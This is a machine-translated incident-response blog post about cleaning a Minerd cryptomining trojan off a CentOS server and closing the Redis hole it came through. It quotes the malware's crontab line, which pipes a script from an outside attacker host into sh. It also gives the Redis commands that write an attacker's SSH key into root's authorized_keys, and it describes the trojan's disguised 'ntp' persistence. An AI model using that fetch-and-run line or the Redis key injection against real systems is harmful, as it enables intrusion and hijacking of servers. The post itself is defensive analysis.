Minerd Mining Trojan

Due to the use of temporary server, security negligence, resulting in the Minerd Trojan attack, cleaning up, encountered the NTP this very confusing service, a lot of effort to dare to completely clean up.

Status description

2. 1

   Top can see that this Minerd program has run the CPU full

   650) this.width=650; "Src=" http://a.hiphotos.baidu.com/exp/w=500/sign=691206666b2762d0803ea4bf90ed0849/ 242dd42a2834349bc3c5d7c0c1ea15ce37d3beb0.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

4. 2

   PS aux | grep minerd

   This is the program:/opt/minerd

   ---

   This is not our own launch, we can conclude that the server was hacked

   This process is initiated by the root user, the code is not likely to be vulnerable (Web service is WWW user-initiated), most hackers have logged into the server

   650) this.width=650; "Src=" http://g.hiphotos.baidu.com/exp/w=500/sign=886806a1bb1c8701d6b6b2e6177f9e6e/ 6c224f4a20a44623afec1d279022720e0cf3d755.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

6. 3

   There may be a password-free login, go to the/root/.ssh directory, and not find Authorized_keys, but found Khk75neoiq this file

   --

   View Vim Khk75neoiq

   You can see that the content is a password-free public key

   650) this.width=650; "Src=" http://b.hiphotos.baidu.com/exp/w=500/sign=c29d87a46ad9f2d3201124ef99ed8a53/ Eaf81a4c510fd9f96e43ed2c2d2dd42a2834a41b.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

8. 4

   You can also see the authorizedkeysfile pointing to this file (. ssh/khk75neoiq) in the configuration file/etc/ssh/sshd_config of SSH.

   ---

   Conjecture is this: through Authorized_keys password-free login, in this directory created Khk75neoiq this file, modified the authorizedkeysfile point, the Authorized_keys this file deleted.

   650) this.width=650; "Src=" http://b.hiphotos.baidu.com/exp/w=500/sign=726d26110b4f78f0800b9af349300a83/ E824b899a9014c08e78690e0027b02087bf4f432.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

10. 5

    So it's written in the Authorized_keys?

    ---

    I have dealt with a similar problem before, that is, Redis is not authorized to cause, that is, the extranet can directly use the password to log on to my Redis, after the Redis, with the following command to create the file:

    ---

    Config set dir/root/.ssh

    Config set Dbfilename Authorized_keys

    Set key value, where value is the generated public key, the public key can be saved in the server, so that the login does not need to enter the account and password.

    END

First plug-in vulnerability

1. 1

   Modify the SSH port

   Edit Port 22 in the/etc/ssh/sshd_config file to modify 22 to a different port

2. 2

   Disable root User Login

   Edit the Permitrootlogin in the/etc/ssh/sshd_config file to No

3. 3

   Modify the file path without password login

   Edit the Authorizedkeysfile in the/etc/ssh/sshd_config file to a different file path

4. 4

   Remove the Khk75neoiq under SSH.

5. 5

   Do not allow the external network to connect directly

   Find the #bind 127.0.0.1 in the redis.conf file, remove the previous # number and restart

   END

Find the Trojan Guardian process

2. 1

   Usually kill the process directly, is not so, there must be a daemon, and the system self-booting, so the cleanup steps are:

   1: Kill the Daemon

   2: Kill system self-priming

   3: Kill the Trojan process

   ---

   Find the Trojan daemon and kill

   ---

   Daemons there are probably two forms of existence, crontab and resident process, the resident process to be slowly analyzed, we first look at crontab, there is not a task I created. The task is to download a script pm.sh and execute it directly from the remote.

   650) this.width=650; "Src=" http://b.hiphotos.baidu.com/exp/w=500/sign=583f35eca1014c08193b28a53a7b025b/ 0b46f21fbe096b63473fe61504338744ebf8ac55.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

4. 2

   Let's take a look at this script.

   650) this.width=650; "Src=" http://f.hiphotos.baidu.com/exp/w=500/sign=1772428916178a82ce3c7fa0c602737f/ 562c11dfa9ec8a13f673efa5ff03918fa0ecc00e.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

6. 3

   The general logic is this:

   1) Put */10 * * * * CURL-FSSL http://r.chanstring.com/pm.sh?0706 | SH Write crontab

   2) Delete the Authorized_keys, and create a login-free file/root/.ssh/khk75neoiq, modify the SSH configuration restart

   3) Curl Download/opt/khk75neoiq33 This file and perform the installation (/opt/khk75neoiq33--install) and then start NTP

8. 4

   Basically can conclude that this NTP is the daemon, but see NTP really some fear, NTP is not engaged in time synchronization, in fact, Linux normal NTP service called NTPD, not NTP, very confusing AH

   650) this.width=650; "Src=" http://f.hiphotos.baidu.com/exp/w=500/sign=7270cfd2d133c895a67e987be1127397/ 4bed2e738bd4b31cfa552cfe8fd6277f9e2ff80e.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

10. 5

    But in order to reassure themselves, or to check a

    We first Test from time, NTP is not a Trojan task created after

    ---

    Check the time of the first execution of this Trojan task

    Go to/var/log and watch the cron logs.

    650) this.width=650; "Src=" http://e.hiphotos.baidu.com/exp/w=500/sign=3d905a5f6859252da3171d04049a032c/ Adaf2edda3cc7cd969798c9c3101213fb80e911b.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

12. 6

    Jul 24 09:23:01 first time execution: curl-l http://r.chanstring.com/pm.sh?0703

    ---

    Jul 24 09:30:01 The first time in our current crontab mission: curl-fssl http://r.chanstring.com/pm.sh?0706

    ---

    Jul 09:49  Script/ETC/INIT.D/NTP creation time

    ---

    From pm.sh This script know  curl down/opt/khk75neoiq33 this file, and perform installation  /opt/khk75neoiq33--install compared time, I executed a bit, It's more than 10 minutes on my machine.

    --

    So the creation time of the basic match

    650) this.width=650; "Src=" http://h.hiphotos.baidu.com/exp/w=500/sign= 8023add14e2309f7e76fad12420f0c39/11385343fbf2b2115c7a3d0bc28065380cd78e1b.jpg "class=" Exp-image-default "alt=" Complete removal of Linux CentOS minerd trojan "/>

14. 7

    Let's take a look at NTP booting with the system

    RunLevel 2 3 4 5 It's all started, tough enough.

    650) this.width=650; "Src=" http://g.hiphotos.baidu.com/exp/w=500/sign=3537ee7c4336acaf59e096fc4cd88d03/ 5d6034a85edf8db135cbd1210123dd54574e748a.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

16. 8

    Check out the usual 3.

    You can see a s50ntp with a soft chain script/ETC/INIT.D/NTP

    650) this.width=650; "Src=" http://h.hiphotos.baidu.com/exp/w=500/sign=d35a0a31e3f81a4c2632ecc9e72b6029/ 0df431adcbef7609945f21da26dda3cc7cd99e1b.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

18. 9

    We view the system boot log

    Vim/var/log/boot.log

    One is staring s50ntp, the echo "starting $name" in the basic script/ETC/INIT.D/NTP

    650) this.width=650; "Src=" http://g.hiphotos.baidu.com/exp/w=500/sign=592e648d124c510faec4e21a50582528/ 30adcbef76094b3672c5a1a8abcc7cd98d109d24.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

20. 10

    Let's take a look at the/etc/init.d/ntp script.

    $name should be the corresponding value is S50NTP, through the stdout_log,stderr_log,pid_file has also been verified.

    650) this.width=650; "Src=" http://a.hiphotos.baidu.com/exp/w=500/sign=25503b7532f33a879e6d001af65d1018/ 2e2eb9389b504fc2250b0840eddde71190ef6d1b.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

22. 11

    By searching the installation file (/opt/khk75neoiq33), we can see that the process of seeing/opt/khk75neoiq33--install writes a series of actions such as NTP script Auto-start/opt/minerd.

    650) this.width=650; "Src=" http://f.hiphotos.baidu.com/exp/w=500/sign=c0475b5f2034349b74066e85f9eb1521/ 7dd98d1001e93901c455377b73ec54e736d19624.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

24. 12

    Open/usr/local/etc/minerd.conf, the content is/opt/minerd some parameters after this process

    650) this.width=650; "Src=" http://b.hiphotos.baidu.com/exp/w=500/sign=56965a178d35e5dd902ca5df46c7a7f5/ Bd3eb13533fa828bbf4a27a6f51f4134970a5a0d.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

26. 13

    All right, verify that you can kill this NTP.

    END

Clean up the Trojan

2. Remove the contents of the Trojan in the crontab file:

   /var/spool/cron/crontabs/root

   /var/spool/cron/root

4. Kill Daemon NTP, and delete related files

   650) this.width=650; "Src=" http://b.hiphotos.baidu.com/exp/w=500/sign=bc256d8fa751f3dec3b2b964a4eff0ec/ 314e251f95cad1c886b55962773e6709c93d516c.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

   650) this.width=650; "Src=" http://c.hiphotos.baidu.com/exp/w=500/sign=89d813f7d958ccbf1bbcb53a29d8bcd4/ D788d43f8794a4c247185d6e06f41bd5ad6e39bf.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

6. Kill the Trojan process and its files

   650) this.width=650; "Src=" http://e.hiphotos.baidu.com/exp/w=500/sign=c0f4ed6bda1b0ef46ce8985eedc551a1/ 78310a55b319ebc4d373d3dc8a26cffc1e17166f.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

8. Kill installation files and password-free files

   650) this.width=650; "Src=" http://c.hiphotos.baidu.com/exp/w=500/sign=53cd2f9900fa513d51aa6cde0d6c554c/ 5ab5c9ea15ce36d3177b397532f33a87e950b17c.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

10. Kill files that are booting with the system

    650) this.width=650; "Src=" http://f.hiphotos.baidu.com/exp/w=500/sign=cf8569a65f2c11dfded1bf2353266255/ 500fd9f9d72a605988714f5f2034349b033bba16.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

12. Delete the daemon's startup file/usr/sbin/ntp

    
    

14. Top, everything's fine!

    650) this.width=650; "Src=" http://a.hiphotos.baidu.com/exp/w=500/sign=e97523ab9482d158bb8259b1b00b19d5/ 9345d688d43f87949cbeed6bda1b0ef41bd53a35.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

16. 7

    Reboot, it's all fine.

    650) this.width=650; "Src=" http://d.hiphotos.baidu.com/exp/w=500/sign=68550f48f0dcd100cd9cf821428a47be/ 43a7d933c895d143fed941667bf082025baf07c3.jpg "class=" Exp-image-default "alt=" completely remove the Linux CentOS minerd trojan/>

Minerd Mining Trojan